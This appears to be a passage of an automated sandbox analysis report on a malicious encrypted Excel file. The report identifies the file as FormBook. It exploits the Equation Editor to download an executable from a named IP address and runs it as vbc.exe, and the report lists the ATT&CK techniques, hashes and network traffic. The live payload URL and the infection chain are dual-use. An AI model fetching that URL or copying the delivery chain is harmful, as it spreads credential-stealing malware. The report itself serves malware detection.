Process information queried: ProcessInformation

Anti Debugging:

Source: C:\Users\Public\vbc.exe

Process token adjusted: Debug

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe

Language, Device and Operating System Detection:

Source: C:\Users\Public\vbc.exe

Queries volume information: C:\Users\Public\vbc.exe VolumeInformation

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution12	Path Interception	Process Injection11	Masquerading111	OS Credential Dumping	Security Software Discovery11	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion2	LSASS Memory	Virtualization/Sandbox Evasion2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection11	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol21	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information11	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing2	Cached Domain Credentials	System Information Discovery13	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm1[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://18.194.54.219/wows/hm1.exe	7%	Virustotal		Browse
http://18.194.54.219/wows/hm1.exe	100%	Avira URL Cloud	malware
http://thesnake.herokuapp.com/snakes	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://18.194.54.219/wows/hm1.exe	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://thesnake.herokuapp.com/snakes	vbc.exe, vbc.exe, 00000005.00000002.2157599757.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000006.00000002.2158308519.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000007.00000002.2159068648.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000008.00000002.2159827958.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000009.00000002.2161125989.0000000000212000.00000020.00020000.sdmp, vbc.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://www.day.com/dam/1.0	E74B891E.emf.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
18.194.54.219	unknown	United States		16509	AMAZON-02US	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	345177
Start date:	27.01.2021
Start time:	20:01:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Signature.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@14/6@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 6.7% (good quality ratio 0%) Quality average: 0% Quality standard deviation: 0%
HCA Information:	Successful, ratio: 94% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe TCP Packets have been reduced to 100

Simulations

Behavior and APIs

Time	Type	Description
20:03:11	API Interceptor	35x Sleep call for process: EQNEDT32.EXE modified
20:03:13	API Interceptor	26x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	Doc_37584567499454.xlsx	Get hash	malicious	Browse	52.209.107.24
	Documentaci#U00f3n.doc	Get hash	malicious	Browse	35.163.191.195
	Rolled Alloys Possible Infection.docx	Get hash	malicious	Browse	143.204.11.47
	Order confirmation 64236000000025 26.01.2021.exe	Get hash	malicious	Browse	3.0.139.114
	Rolled Alloys Possible Infection.docx	Get hash	malicious	Browse	143.204.11.17
	ARCHIVOFile-20-012021.doc	Get hash	malicious	Browse	35.163.191.195
	FACTUUR-INV00012.xlsx	Get hash	malicious	Browse	52.216.237.43
	FACTUUR-INV00012.xlsx	Get hash	malicious	Browse	52.216.95.11
	daily scripts.exe	Get hash	malicious	Browse	34.242.129.172
	0113 INV_PAK.xlsx	Get hash	malicious	Browse	44.240.171.172
	wno5UOP8TJ.exe	Get hash	malicious	Browse	52.211.215.209
	quote20210126.exe.exe	Get hash	malicious	Browse	3.140.151.209
	PAYMENT.xlsx	Get hash	malicious	Browse	34.251.154.69
	PAYMENT.xlsx	Get hash	malicious	Browse	34.249.208.250
	DHL eMailShip delivery Form - securedPDF.html	Get hash	malicious	Browse	52.218.216.224
	5Ur5p5e8r2.exe	Get hash	malicious	Browse	13.52.79.18
	The Mental Health Center.xlsx	Get hash	malicious	Browse	52.216.245.238
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	3.131.104.217
	Xy4f5rcxOm.dll	Get hash	malicious	Browse	54.64.30.175
	New Year Inquiry List.xlsx	Get hash	malicious	Browse	13.224.102.114

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm1[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	633856
Entropy (8bit):	7.405346249644526
Encrypted:	false
SSDEEP:	12288:2PG5tVUOCqv9SdgIJCOhpMbs/oSmCy9XY3FGCr6:eG38WYZhyhCyA2
MD5:	BE84C387975B024F25DC96EC5F85F7BD
SHA1:	58507DE0E96B77F8030A4DC5BC607C438E14D5DA
SHA-256:	EBBCC767ACC5337309A6F0770C52236B131CBCFFB3E843E4BF132489CB2001CC
SHA-512:	1236A79CF26D69ABBC3330D38B1C14BD34A90B98960E5D974A990ED8078104B3F3BF2F84647F0A95B84C157CE1F8DBC30E4FE54ED49EA338DA17CB80B6D5BF59
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://18.194.54.219/wows/hm1.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Xm.`..............P.................. ........@.. ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........~...A..........................................................0..#.......+.&...(....(..........(.....o.......................0..........+.&..8......8.....+5..Va.+...`a...SYE................M....5.+......&.3.+....6.+...OYE................'.../...7...E...N...h........4.+.+....+......&..8z.....(......8l......8d......8\.....(......8N.......8E.....(....+.(....8/.....8+.....(....+..8.......8........0..........+.&...+>..\a.+..._a8......\X+X.\(.....+...[YE........#...S..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B65EA87.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\86CDB2DC.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E74B891E.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	653280
Entropy (8bit):	2.8986230323260216
Encrypted:	false
SSDEEP:	3072:r34UL0tS6WB0JOqFVY5QcARI/McGdAT9kRLFdtSyUu50yknG/qc+x:D4UcLe0JOqQQZR8MDdATCR3tS+jqcC
MD5:	8BA96E01E5E31685B576653500058F22
SHA1:	03DCFA79713728B83AB0337CA70BA73715758B9A
SHA-256:	130D78C8E1A21DF3B25FE4461EFA7B13F505DCE5B6FDB51D982EE04181420C88
SHA-512:	528BA0091139824EE58678E138982DB1CBAB3CECAF7E02369DDDC329D8AB9E82D5F00A6BF3403B10D9D809E64C1037E44A65C3AD900C000EFAC133B75097F856
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...#.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I...c...%...........%...................................R...p................................@."C.a.l.i.b.r.i.....................................................0...0.....P.0...0..N.SP.0.H.0.......0.4.0..N.SP.0.H.0. ....y.QH.0.P.0. ............z.Q............................................X...%...7...................{ .@................C.a.l.i.b.r...............0.X...H.0.\|.0..2.P..........0...0..{.P......0.....dv......%...........%...........%...........!.......................I...c..."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I...c...P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\Desktop\~$Signature.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	633856
Entropy (8bit):	7.405346249644526
Encrypted:	false
SSDEEP:	12288:2PG5tVUOCqv9SdgIJCOhpMbs/oSmCy9XY3FGCr6:eG38WYZhyhCyA2
MD5:	BE84C387975B024F25DC96EC5F85F7BD
SHA1:	58507DE0E96B77F8030A4DC5BC607C438E14D5DA
SHA-256:	EBBCC767ACC5337309A6F0770C52236B131CBCFFB3E843E4BF132489CB2001CC
SHA-512:	1236A79CF26D69ABBC3330D38B1C14BD34A90B98960E5D974A990ED8078104B3F3BF2F84647F0A95B84C157CE1F8DBC30E4FE54ED49EA338DA17CB80B6D5BF59
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Xm.`..............P.................. ........@.. ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........~...A..........................................................0..#.......+.&...(....(..........(.....o.......................0..........+.&..8......8.....+5..Va.+...`a...SYE................M....5.+......&.3.+....6.+...OYE................'.../...7...E...N...h........4.+.+....+......&..8z.....(......8l......8d......8\.....(......8N.......8E.....(....+.(....8/.....8+.....(....+..8.......8........0..........+.&...+>..\a.+..._a8......\X+X.\(.....+...[YE........#...S..

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.996746245995192
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	Signature.xlsx
File size:	2493440
MD5:	560a48512736572ec4abceb4ecf22250
SHA1:	56798f4c080101515e42b5678a2039ac6b8caaf3
SHA256:	1d93a4fcbcf81b40332da7aedaa9288ca16a2c0c588db5c78c6e349ce53478d4
SHA512:	52e6f40d303311a42e184835c734f0b482af35e38186202e46433c2251b9eb9d3d5c9a2aad25353193d6cf6bb5794212ace90a54cdd56fa6f6f647587bd69e4c
SSDEEP:	49152:XMzIKfCSJddchY7PRLJCLC3vX/UryBWs2yxNqbyj2FrwwV:2frJnQm9yC3P6GWsfAyj2mwV
File Content Preview:	........................>...................'...................................................................................\|.......~...............z.......\|.......~...............z.......\|.......~...............z.......\|..............................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "Signature.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2469416

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	2469416
Entropy:	7.99993201198
Base64 Encoded:	True
Data ASCII:	. . % . . . . . . . . . . } . . . . . ? . 1 . . ~ . . . I . . p . o . . . @ . ) . . . . % . . . . ! . D . . . ~ . . . { a ' < . Z \\ . . ! \\ V = . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . . G . . / . . z . . k ) t P . . .
Data Raw:	17 ae 25 00 00 00 00 00 9b e1 8b 05 f1 7d 80 d1 d9 a1 a6 3f 1c 31 fc e1 7e b4 f4 9b 49 f5 a6 70 a3 6f cd b3 18 40 9a 29 a8 da aa 82 25 93 82 9f 83 21 8f 44 a8 8e d1 7e e9 0a 08 7b 61 27 3c d5 5a 5c c4 e8 21 5c 56 3d af 6b 29 74 50 c2 a4 8e 47 da 0e 2f ac c0 7a d3 af 6b 29 74 50 c2 a4 8e 47 da 0e 2f ac c0 7a d3 af 6b 29 74 50 c2 a4 8e 47 da 0e 2f ac c0 7a d3 af 6b 29 74 50 c2 a4 8e

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.50739955561
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . B . . S . $ H . ) O . ' e . , . e K . ; 2 7 . . . . F . . , . u . . . . W . . # . / . 5 r u 0 . . . P . . > . w . M . . t . ~ . . . . k
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 20:03:03.171613932 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.212479115 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.212572098 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.212902069 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.254192114 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.254245996 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.254281998 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.254286051 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.254319906 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.254338026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.254340887 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.254404068 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295118093 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295162916 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295213938 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295214891 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295252085 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295254946 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295264006 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295310974 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295320988 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295361042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295376062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295397043 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295420885 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295454979 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.295464039 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.295505047 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.336901903 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.336937904 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.336963892 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.336985111 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.336997986 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337007999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337012053 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337019920 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337023020 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337032080 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337059021 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337060928 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337084055 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337095022 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337099075 CET	49165	80	192.168.2.22	18.194.54.219
